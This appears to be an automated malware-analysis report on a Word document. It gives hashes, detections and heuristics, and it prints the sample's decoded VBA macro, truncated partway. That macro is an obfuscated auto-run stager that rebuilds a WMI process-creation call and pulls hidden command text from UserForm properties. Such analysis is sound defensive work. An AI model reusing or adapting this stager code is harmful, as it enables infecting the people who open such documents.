Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7455acc02baf730e…

MALICIOUS

Office (OLE)

169.0 KB Created: 2020-07-31 14:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: c5fc57f888143ee9ad1917acc501c697 SHA-1: 7c5294daf16d5908b71b47175c9cdfb128b6520d SHA-256: 7455acc02baf730eb4db6110424e796d22b98bd05ca4d2e883b309eabbaba8c4
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute code. This is a common technique for downloading and executing additional malicious payloads. The ClamAV signature 'Doc.Malware.Lemodldr-9238797-0' further supports its malicious nature. The obfuscated script makes it difficult to determine the exact payload or C2, but the intent is clearly to act as a downloader.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9238797-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9238797-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4996 bytes
SHA-256: d3f5f5067bd40da934538b07a4de98080ea3fed2f49495406afb48e8c54080e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MRLUOokcitvraaqu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
EEZWErbcfpvx.TMLHNidtnvehzs
End Sub


Attribute VB_Name = "EEZWErbcfpvx"
Attribute VB_Base = "0{91E646A2-E4AE-4E70-84BE-E33C0FA2968F}{8415BA4D-E070-4715-81E1-88ECEFC11C60}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function TMLHNidtnvehzs()
Dim JUm3Y4Áv0ÕA As Integer
JUm3Y4Áv0ÕA = 4
Do While JUm3Y4Áv0ÕA < 4 + 8
JUm3Y4Áv0ÕA = JUm3Y4Áv0ÕA + 8: DoEvents
Loop
Dim qJfMXTsq As String
qJfMXTsq = Replace$("SV0ÄLNTNcMX", "SV0ÄLNT", "mU8àEA")
Dim BwQyi As String
BwQyi = Replace$("SHGy8ÅTZUh2àfw5Çjh", "SHGy8ÅTZU", "JMEbC")
YFYJOmjtpziepphdx = Chr(EEZWErbcfpvx.Zoom + ((50 + 50 + 20) / 8))
Dim IKm1ÚK As Integer
IKm1ÚK = 5
Do While IKm1ÚK < 5 + 7
IKm1ÚK = IKm1ÚK + 4: DoEvents
Loop
BITSXoxyusoknbnz = "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddi0202093hui87(*Yhshhshs303030ddnm0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddgm0202093hui87(*Yhshhshs303030ddt0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd" + YFYJOmjtpziepphdx + "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd:0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddin0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd30202093hui87(*Yhshhshs303030dd20202093hui87(*Yhshhshs303030dd_0202093hui87(*Yhshhshs303030dd" + EEZWErbcfpvx.KEJRZxzzpikuakccpl + "0202093hui87(*Yhshhshs303030ddro0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddce0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dd"
Dim cbSSJYfyE As String
cbSSJYfyE = Replace$("qCHAmOwKdYa", "qCHAmO", "ktbh")
KUDWMmmgaibmciyzzn = SQCVGaavuzfuuwbir(BITSXoxyusoknbnz)
Dim Ff5Ë8 As Integer
Ff5Ë8 = 6
Do While Ff5Ë8 < 6 + 5
Ff5Ë8 = Ff5Ë8 + 8: DoEvents
Loop
Set EPGAHuwjnaaqu = CreateObject(KUDWMmmgaibmciyzzn)
Dim NRK As String
NRK = Replace$("QAondeVoi4ËhF6", "QAondeV", "sSP7")
EKZGWdofirkvbdzxz = EEZWErbcfpvx.MDUIMxebazgntsd.ControlTipText
Dim tTRG As String
tTRG = Replace$("JnZlI4ÓQ", "JnZl", "VCMJiSHGyy")
DXUHCxqrepxqbbp = jdjjdjdjj + (KUDWMmmgaibmciyzzn + YFYJOmjtpziepphdx + EEZWErbcfpvx.EBYAMtkdirplixy.ControlTipText + EKZGWdofirkvbdzxz)
Dim NWEbKjhI As Integer
NWEbKjhI = 2
Do While NWEbKjhI < 2 + 2
NWEbKjhI = NWEbKjhI + 3: DoEvents
Loop
JJEFAghbrepuiqblu = DXUHCxqrepxqbbp + EEZWErbcfpvx.KEJRZxzzpikuakccpl
Dim XFdLa As String
XFdLa = Replace$("XWMMET4ÖmQmUea0dZcG", "XWMMET4Öm", "T3SUj")
Set UBTFXznomtxuwqjsv = SGFCSkxowoiklgw(JJEFAghbrepuiqblu)
Dim ejcPcM As String
ejcPcM = Replace$("YPcUjcHRCN", "YPcUjcH", "udQAon")
j6j3nn3nb4 = Array("nxuih yhioasy ywww huwhd", EPGAHuwjnaaqu. _
Create(NFXTRjfmtxqwn, ZBAWMczlvrqv, UBTFXznomtxuwqjsv), "diuhuq hioqcdsf")
Dim IUoiXA As String
IUoiXA = Replace$("FlKsSPqpFqDWRFi", "FlKsSPqp", "GmLtTRGEgu")
End Function
Function SGFCSkxowoiklgw(YFKYRiiyuwbi)
Set SGFCSkxowoiklgw = CreateObject(YFKYRiiyuwbi)
Dim nVtcC0ÈHL As String
nVtcC0ÈHL = Replace$("XIUoiXAjhAf5ÑDWRFi3Äm", "XIUoiXAjhA", "NOb8ÄEg8l")
SGFCSkxowoiklgw.showwindow = GVIESdwnvchslzsz + CHXBKxfgbdvs + NQCJMvzqlkcpdy
Dim qOuFCbL As String
qOuFCbL = Replace$("T4ÓotuCJkGBFv", "T4ÓotuC", "uKD")
End Function
Function SQCVGaavuzfuuwbir(TOLISkmybgytrmasdv)
NPEDHhsrrhinjwmnnnf = TOLISkmybgytrmasdv
Dim PFFvM As Integer
PFFvM = 7
Do While PFFvM < 7 + 4
PFFvM = PFFvM + 6: DoEvents
Loop
NVJBMtxsjyhivjpv = Split _
(NPEDHhsrrhinjwmnnnf, "0202093hui87(*Yhshhshs303030dd")
Dim JfMXTsqRQ As String
JfMXTsqRQ = Replace$("GLN3ÈNcgOmUtr", "GLN3ÈNc", "AD6à")
MPFNGiomlmev = mm6m6m6m + Join(NVJBMtxsjyhivjpv, o7o7oej5)
Dim Vy2yPnW As String
Vy2yPnW = Replace$("scZ
... (truncated)